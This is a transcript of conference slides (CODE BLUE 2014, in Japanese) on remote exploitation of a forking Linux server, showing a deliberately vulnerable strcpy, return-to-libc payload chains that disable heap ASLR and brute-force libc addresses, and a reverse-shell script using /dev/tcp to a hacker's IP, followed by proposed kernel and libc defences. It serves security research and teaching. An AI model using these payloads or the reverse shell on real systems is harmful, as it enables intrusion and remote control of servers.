リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

50
Linuxにおける様々リモトエキスプロイ ト手法 wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected] http://wh1ant.kr CODE BLUE 2014

Upload: code-blue

Post on 12-Nov-2014

2.203 views

Category:

Technology


0 download

DESCRIPTION

セキュリティの強化された最新版の現在のLinuxOSの保護機能を迂回し、リモートからの攻撃を成功させる方法と対策について詳細に説明する。 近年のオペレーティングシステムにはエクスプロイトから保護する強化されたセキュリティ技術が多く使われています。 ASLRとNX (DEP)の2つはそうしたセキュリティを目的とした技術です。 しかしながら、これらの技術も高度なエクスプロイト技術を使う事で迂回する事が可能です。 昨今は、クライアント起点からの、サーバーのデーモン等を対象としたリモートからのコード実行を目的とするエキスプロイトは徐々に難しくなって来ています。 このような場合、多くは対象システムに関する情報の入手が難しくなって来ており、ゆえにコード実行も困難になってきています。 ターゲットとするプロセスのメモリー内レイアウトはリモートからのエクスプロイトに置いては必要不可欠な情報の一つと言えます。 最近ではメモリー漏洩を使ってメモリー内にどのようなライブラリーが読み込まれてるかを判断する 技術が登場しており、このような技術を使う事でASLRを迂回する事が可能になります。 これ以外にもリモートでターゲットとするプロセスのメモリーレイアウトを解析する方法があります。 この手法は対象となるリモートプロセスに対して有効なメモリーアドレスを探る方法です。 リナックス環境ではforkされた子プロセスは常に親プロセスにおいてランダム化されたメモリーレイアウトを常に継承しています。 よってサーバーのデーモンに対するクライアントのコネクションは同じメモリーレイアウトを共有します。 メモリーレイアウトのランダム化は親プロセスの起動時のみに行われ、クライアントから接続を処理するため子プロセスが発生した時には行われません。 子プロセスの継承により各接続から情報を集約することでターゲットとするリモートなプロセスのメモリーレイアウトの全体像を垣間見る事が可能になります。 ターゲットとするリモートプロセスに対して特定なアドレスが有効なメモリーアドレスかどうかを探り、得られた情報を集約する事でメモリー内のlibcライブラリーの場所が特定でき、更なるコード実行を行うエクスプロイトが可能になります。 このようなやり方をブルートフォース型攻撃とする意見もありますが、効率的なブルートフォース技術を使うことで多くの場合は最低限必要な試みを10回以下にする事が可能です。 本講演では、どのようにして特定のコードを使う事でメモリーレイアウトスペースにてターゲットがブロック状態になるのかの証明や、そうして得た情報を元にリモートからのエクスプロイト攻撃シナリオの中で安定したコードの実行について、リナックス環境に置けるリモートエクスプロイト開発によく使われる手法とともに発表します。 スクハー・リー- Seok-Ha Lee (wh1ant) 韓国のハッキングチームWiseguysのメンバー。子供の頃からソフトウェア開発を初め、徐々にセキュリティ研究に興味を持つようなる。2011年に就職、企業でリナックスカーネルのモジュールを使ったセキュリティソリューションに関するセキュリティ研究を行うようになる。複数の脆弱性を発見する傍ら、韓国内のカンファレンスにてセキュリティに関する発表を行

TRANSCRIPT

Page 1: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

Linuxににおおけけるる様様々々なな リリモモーートトエエキキススププロロイイ

トト手手法法 wh1ant (Author A.K.A) SeokHa Lee (Author name) [email protected]

http://wh1ant.kr

CODE BLUE 2014

Page 2: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

謝辞

ここのの資資料料ををレレビビュューーししててくくれれたた ハハンンドドルル名名 trigger 氏氏にに感感謝謝ししまますす。。 (^_^)

Page 3: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

自己紹介 名名前前: SeokHa Lee ハハンンドドルル名名: wh1ant (white ant or ant::白白蟻蟻ももししくくはは蟻蟻) wh1ant ででfacebookややっっててまますす

韓韓国国ののハハッッカカーーチチーームム ‘WISEGUYS’ メメンンババーー いいくくつつもものの脆脆弱弱性性をを発発見見 韓韓国国ののカカンンフファァレレンンススででセセキキュュリリテティィ関関連連のの講講演演 韓韓国国のの多多くくののCTFにに挑挑戦戦のの実実績績

http://wh1ant.kr

http://hackerschool.org

Page 4: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

今回のトピック Linuxににおおけけるるリリモモーートト・・ババッッフファァ

オオーーババーーフフロローー

•  サーバにファイルを作成 •  NULL バイト処理回避 •  ヒープASLRの無効化 •  libcの高速サーチ

Page 5: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

攻撃手法 •  コードインジェクション - NX機能の無効化が不可欠 •  RTL (Return-To-libc攻撃) - ASLRの無効化が不可欠 •  ROP (Return Oriented Programming) - ガジェットの存在が不可欠 - ペイロードが長くなりすぎる

Page 6: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

アドレスの見つけ方 •  ブルート・フォース •  メモリ読み取り •  send(), write() 関数の使用

[&send()] [&exit()] [0x00000004] [&GOT] [0x00000004] [0x00000000]

Page 7: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

コードと環境

int get_result(const int sock, char odd_or_even) {

char small_buf[25]; char big_buf[128]; … write(sock, "pick a number 1 or 2: ", 22); length = read(sock, big_buf, sizeof(big_buf)-1);

strcpy(small_buf, big_buf); // vulnerable code if((small_buf[0]-0x31)==odd_or_even) return 1; else return 0;

}

Fedora 18

フォークベースのサーバ

$ gcc server.c –o server -fno-stack-protector

Page 8: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

攻撃シナリオ

攻撃目標 ハッカー

libc ののアアドドレレススをを検検出出

攻攻撃撃フファァイイルルをを作作成成

実実行行

Page 9: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

パーミッション付きファイルを作成

1 - /tmp ディレクトリ - libcライブラリの “/tmp” 変数を使用可能 2 – 次の条件を満たすログファイル - “log/log_%Y%m%d.log” 変数を使用可能 3 – 次の目的のためのデーモンPIDファイル - プロセスをチェックする

Page 10: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

使用する関数

open(), write()

O_WRONLY == 0x1 O_CREAT == 0x40

Page 11: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

攻撃ペイロード

[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]

サーバー側で攻撃を行うためのペイロード

Page 12: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

興味深いカーネルコード struct file *do_filp_open(int dfd, const char *pathname, int open_flag, int mode, int acc_mode) ... if (!(open_flag & O_CREAT)) mode = 0;

/* Must never be set by userspace */ open_flag &= ~FMODE_NONOTIFY;

/* * O_SYNC is implemented as __O_SYNC|O_DSYNC. As many places only * check for O_DSYNC if the need any syncing at all we enforce it's * always set instead of having to deal with possibly weird behaviour * for malicious applications setting only __O_SYNC. */ if (open_flag & __O_SYNC) open_flag |= O_DSYNC;

if (!acc_mode) acc_mode = MAY_OPEN | ACC_MODE(open_flag);

/* O_TRUNC implies we need access checks for write permissions */ if (open_flag & O_TRUNC) acc_mode |= MAY_WRITE;

0x40のみをチェック (O_CREAT)

Page 13: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ビット単位の AND 演算

00000000 00000000 00000000 00000000 00000000 00000000 00000000 01000000 -----------------------------------------------------------00000000 00000000 00000000 00000000

00000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 ----------------------------------------------------------- 00000000 00000000 00000000 01000000

0x40 (O_CREAT)

00000000 00000000 00000000 01000000

0x40 (O_CREAT)

0x40 (O_CREAT)

Page 14: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ファイルを作成 #include <stdio.h> #include <fcntl.h>

int main(void) { close(open("test", 0x11111040, 0xfffff9ff)); return 0; }

16進数表記で 0x11111040 は、 O_CREAT を意味し、 0xfffff9ff は8進数表記の 4777 パーミッションを意味する。プログラムを実行すると、 “test” という名のファイルができる。

Page 15: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

欠陥

static inline struct file * fcheck_files(struct files_struct *files, unsigned int fd) { struct file * file = NULL; struct fdtable *fdt = files_fdtable(files);

if (fd < fdt->max_fds) file = rcu_dereference_check_fdtable(files, fdt->fd[fd]); return file; }

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

ファイル記述子の最大値を超えるとNULLリターン

Page 16: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

改めてテスト

#include <stdio.h>

int main(void) { FILE* fp=fopen("test_file", "w"); if(fp==NULL) { printf("fopen() error\n"); return -1; }

fputc(‘A’, fp); fclose(fp); return 0; }

#include <stdio.h>

FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);

Page 17: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

#include <stdio.h>

int main(void) { FILE* fp=fopen("test_file", "wHello_world"); if(fp==NULL) { printf("fopen() error\n"); return -1; }

fputc(0xffffff41, fp); fclose(fp); return 0; }

フェイク・コード #include <stdio.h>

FILE *fopen(const char *path, const char *mode); int fputc(int c, FILE *stream);

“answer” == append モード “wer” == write モード

“answer”

Page 18: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

fopen() 制御文字 switch (*mode) { case 'r': omode = O_RDONLY; read_write = _IO_NO_WRITES; break; case 'w': omode = O_WRONLY; oflags = O_CREAT|O_TRUNC; read_write = _IO_NO_READS; break; case 'a': omode = O_WRONLY; oflags = O_CREAT|O_APPEND; read_write = _IO_NO_READS|_IO_IS_APPENDING; break; default: __set_errno (EINVAL); return NULL; }

; ex movzx eax,BYTE PTR [eax] movsx eax,al cmp eax,0x72 ; ‘r’ check je 0x804843c

Page 19: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ペイロード

[&open()] [dummy] [&“filename”] [0x00000041] [0x000009ff]

[&fopen()] [pop*2] [&“filename”] [&“w”] [&fputc()] [dummy] [0xffffff41] [<file pointer>]

しかし・・・ ポインターアドレスはどうやって探し出す?

Page 20: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ランダムなファイルポインタ #include <stdio.h>

int main(void) { FILE* fp;

fp=fopen("test_file", "wt");

printf("fopen(): %p\n", fp);

if(fp) fclose(fp);

return 0; }

Page 21: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

#include <stdio.h> #include <stdlib.h>

int main(void) { char* p; FILE* fp;

p=(char*)malloc(0xffffffff); fp=fopen("test_data", "w");

printf("malloc(): %p\n", p); printf("fopen(): %p\n", fp);

if(p) free(p); if(fp) fclose(fp); return 0; }

ヒープASLRのいくつかを無効化

0xb7400468 もしくは 0xb7500468

Page 22: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ヒープ構造 1/5 malloc()

brk() mmap()

アロケーションサイズが 128 kb より大きな場合

__libc_malloc() -> arena_get2() -> _int_new_arena() -> new_heap() -> mmap()

__libc_malloc() -> _int_malloc() -> sysmalloc() -> mmap()

Page 23: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ヒープ構造 2/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { /* _int_malloc() が mmap() を引数 0xffffffff で呼び出そうとする */ 2858 victim = _int_malloc(ar_ptr, bytes); 2859 if(!victim) { // アロケーション可否をチェック、 0xffffffff ではサイズが大きすぎるのでアロケーション不可となる 2860 /* アロケーション不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している */ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Page 24: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ヒープ構造 3/5 521 new_heap(size_t size, size_t top_pad) ... 552 /* メモリサイズ 0x200000 をアロケート */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // 555 ~ 557 行は0xb73fffff へのランダム化されたアドレスのオフセット 558 if (ul) 559 __munmap(p1, ul); // いくつかのメモリアロケーションを解放 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* 0x21000 以下のサイズの読み書きを可能にする */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;

Page 25: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ヒープ構造 4/5 2842 void* 2843 __libc_malloc(size_t bytes) 2844 { 2858 victim = _int_malloc(ar_ptr, bytes); // fopen() が呼び出されるl 2859 if(!victim) { 2860 /*不可はmmapされていないエリアで実行されているためかも? */ 2861 if(ar_ptr != &main_arena) { 2862 (void)mutex_unlock(&ar_ptr->mutex); 2863 ar_ptr = &main_arena; 2864 (void)mutex_lock(&ar_ptr->mutex); 2865 victim = _int_malloc(ar_ptr, bytes); 2866 (void)mutex_unlock(&ar_ptr->mutex); 2867 } else { 2868  /* ...もしくは、sbrk() が失敗したためでmmap() 実行可能? */ /* arena_get2() も内部でmmap() を呼び出している*/ 2869 ar_ptr = arena_get2(ar_ptr->next ? ar_ptr : 0, bytes); 2870 (void)mutex_unlock(&main_arena.mutex); 2871 if(ar_ptr) { 2872 victim = _int_malloc(ar_ptr, bytes);

Page 26: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ヒープ構造 5/5 2246 static void* sysmalloc(INTERNAL_SIZE_T nb, mstate av) ... 2681 p = av->top; // mmap (0xb7400000) よりのプリアロケートされたメモリアドレス 2682  size = chunksize(p); // 従前のアロケーションサイズを取得 // (返り値はほぼ 0x21000) 2683 2684  /* 上記のアロケーションパスで成功したものをチェック */ /*保存された従前のアロケーションサイズがリクエストされたメモリサイズより大きいか否かをチェック */ 2685 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 2686 remainder_size = size - nb; 2687 remainder = chunk_at_offset(p, nb); 2688 av->top = remainder; 2689 set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); 2690 set_head(remainder, remainder_size | PREV_INUSE); 2691 check_malloced_chunk(av, p, nb); 2692 return chunk2mem(p); // mmapでアロケーションされたメモリアドレスを返す 2693 } 2694 2695 /* すべての失敗したパスをキャッチ */ 2696 __set_errno (ENOMEM); 2697 return 0; 2698 }

Page 27: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

マッピング情報

このメモリ領域が使える!

Page 28: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

‘リピート コード’ とは?

; リピート コード 1 10101010: mov eax, ebx 10101012: jmp short 10101012 10101014: mov eax, ebx

;リピート コード 2 10101010: mov eax, ebx 10101012: jmp short 10101010 10101014: mov eax, ebx

Page 29: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

‘リピート コード’ を見つける

[&puts()] [0x080486ac ~ 0x08049578] [0x08048001]

実行コードの最初のアドレス: 0x080486ac 実行コードの最後のアドレス: 0x08049578

Page 30: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

python を使って ‘repeat code’ を見つける

Page 31: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ファイルポインタがペイロードをチェック

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]

/proc/net/tcp (ESTABLISHED state check)

Page 32: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ファイルがペイロードを書き込む

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]

#!/bin/sh exec 5<>/dev/tcp/<hacker IP address>/1337 cat<&5|while read line;do $line 2>&5>&5;done

サーバ側の攻撃コード

Page 33: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

libcの高速サーチ1/5

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Page 34: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

libcの高速サーチ2/5

0xb7801000 – 0xb7622000 = 0x1df000 (offset)

Page 35: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

... int* p=0x0; int temp=*p; // 無効なアドレスの場合はセグメンテーション違反となる ....

... int* p=0x08048000; int temp=*p; /* もし、このメモリアドレスが存在していたらセグメンテーション違反にはならない */ ....

libcの高速サーチ3/5

Page 36: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …

[&puts()] [&repeat code] [&exist address]

存在するアドレスを探す

libcの高速サーチ4/5

Page 37: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

[&puts()] [repeat code] [0xb7 5~8 00101] <= 66桁桁目目をを探探すす [&puts()] [repeat code] [0xb76 0~f 0101] <= 55桁桁目目をを探探すす [&puts()] [repeat code] [0xb761 0~f 101] <= 44桁桁目目をを探探すす

6 桁桁目目、、アアドドレレスス 0xb7700101 はは存存在在 5 桁桁目目、、アアドドレレスス 0xb7630101 はは存存在在 4 桁桁目目、、アアドドレレスス 0xb7622101 はは存存在在

b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so …

アドレスを一桁づつ探す

libcの高速サーチ5/5

0xb7622101 – 0x101 = 0xb7622000

Page 38: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

メモリにアクセスする関数 int puts(const char *s);

size_t strlen(const char *s);

int atoi(const char *nptr);

int strcmp(const char *s1, const char *s2);

int printf(const char *format, ...);

int sprintf(char *str, const char *format, ...);

Page 39: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ペイロードのレビュー 1/2

[&puts()] [&repeat code] [&exist libc]

1. libc アドレスを検出

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&"w"] [&fclose()] [&repeat code] [&file pointer]

2. ファイルポインタアドレスを検出

[&malloc()] [pop*1] [0xffffffff] [&fopen()] [pop*2] [&"filename"] [&“a"] [&fputc()] [&exit()] [0xffffff41] [&file pointer]

3. ファイルに書き込み

Page 40: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ペイロードのレビュー 2/2

[&chmod()] [pop*2] [&"log/log_%Y%m%d.log"] [0xfffff1ff] [&execl()] [&exit()] [&"log/log_%Y%m%d.log"] [&"log/log_%Y%m%d.log“]

4. ファイルのパーミッションを変えて実行

Page 41: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

デデモモ (http://youtu.be/LsgI-SALQJY)

Page 42: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

デモ2

ペイロードの部分

big_buf[128]

user_email[50] user_name[50]

ペイロード1

ペイロード2

ペイロード3

esp 0x118 を追加

esp 0x48 を追加

[&puts()] [&repeat code] [0x00049cf0]

0x00049cf0 => \xf0\x9c\x04\x00

ASCII-Armor が有効になったシステム

高位アドレス

Page 43: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

NULL バイト処理回避用ペイロード

[&fprintf()] [dummy] [file pointer] [&“%c”] [0x00]

NULLバイト処理を回避するバイナリファイルはどうやってつくる?

0xffffff00 => \x00\xff\xff\xff

Page 44: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ご注意! $ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7623000-b77d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b77d3000-b77d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b77d5000-b77d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b77d6000-b77d9000 rw-p 00000000 00:00 0 b77dd000-b77df000 rw-p 00000000 00:00 0 b77df000-b77e0000 r-xp 00000000 00:00 0 [vdso] b77e0000-b77ff000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b77ff000-b7800000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7800000-b7801000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

mm_struct -> vm_area_struct -> mm_base 0xb7801000 のアドレスが見える

Page 45: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

521 new_heap(size_t size, size_t top_pad) ... 552 /* allocates memory with size 0x200000 */ 553 p1 = (char *)MMAP(0, HEAP_MAX_SIZE<<1, PROT_NONE, MAP_NORESERVE); 554 if(p1 != MAP_FAILED) { 555 p2 = (char *)(((unsigned long)p1 + (HEAP_MAX_SIZE-1)) 556 & ~(HEAP_MAX_SIZE-1)); 557 ul = p2 - p1; // line 555 ~ 557 is an offset from randomized address to 0xb73fffff 558 if (ul) 559 __munmap(p1, ul); // frees some memory allocations 560 else 561 aligned_heap_area = p2 + HEAP_MAX_SIZE; 562 __munmap(p2 + HEAP_MAX_SIZE, HEAP_MAX_SIZE - ul); … /* enables read,write for size up to 0x21000 */ 575 if(__mprotect(p2, size, PROT_READ|PROT_WRITE) != 0) { 576 __munmap(p2, HEAP_MAX_SIZE); 577 return 0; 578 } 579 h = (heap_info *)p2; 580 h->size = size; 581 h->mprotect_size = size;

どのように防ぐ? 1/4

ヒヒーーププASLR無無効効化化ココーードドをを除除去去!!

Page 46: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

どのように防ぐ? 2/4

NULL パラメータチェック

#include <stdio.h> #include <fcntl.h>

void open_test(int flags) { if(0xffff0000&flags) { printf("open_test() error\n"); return; } printf("open_test() call\n"); }

int main(void) { open_test(O_WRONLY|O_CREAT); // open open_test(0xffffff41); // open 失敗 open_test(0x00ffff41); // open 失敗 return 0; }

open(), mmap(), mprotect(), fputc(), etc…

Page 47: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

どのように防ぐ? 3/4 if(strlen(mode)>3) // 変数の長さをチェック { printf(“fopen() error\n”); // 変数が長すぎる return NULL; }

switch (*mode) { case 'r': … break; case 'w': … break; case 'a': … break; … }

Page 48: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

どのように防ぐ? 4/4

各々のアドレスにランダムにオフセットを割り振る

$ cat /proc/17680/maps 08048000-0804a000 r-xp 00000000 fd:01 266405 /home/wh1ant/server/server 0804a000-0804b000 r--p 00001000 fd:01 266405 /home/wh1ant/server/server 0804b000-0804c000 rw-p 00002000 fd:01 266405 /home/wh1ant/server/server b7622000-b7623000 rw-p 00000000 00:00 0 b7723000-b78d3000 r-xp 00000000 fd:01 1861 /usr/lib/libc-2.16.so b78d3000-b78d5000 r--p 001b0000 fd:01 1861 /usr/lib/libc-2.16.so b78d5000-b78d6000 rw-p 001b2000 fd:01 1861 /usr/lib/libc-2.16.so b78f6000-b78f9000 rw-p 00000000 00:00 0 b78fd000-b78ff000 rw-p 00000000 00:00 0 b78ff000-b7900000 r-xp 00000000 00:00 0 [vdso] b7903000-b8822000 r-xp 00000000 fd:01 1854 /usr/lib/ld-2.16.so b7922000-b7923000 r--p 0001e000 fd:01 1854 /usr/lib/ld-2.16.so b7923000-b7924000 rw-p 0001f000 fd:01 1854 /usr/lib/ld-2.16.so bf893000-bf8b4000 rw-p 00000000 00:00 0 [stack]

Page 49: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ごご質質問問ををどどううぞぞ

Page 50: リナックスに置ける様々なリモートエキスプロイト手法 by スクハー・リー

ごご清清聴聴あありりががととうう ごござざいいままししたた!!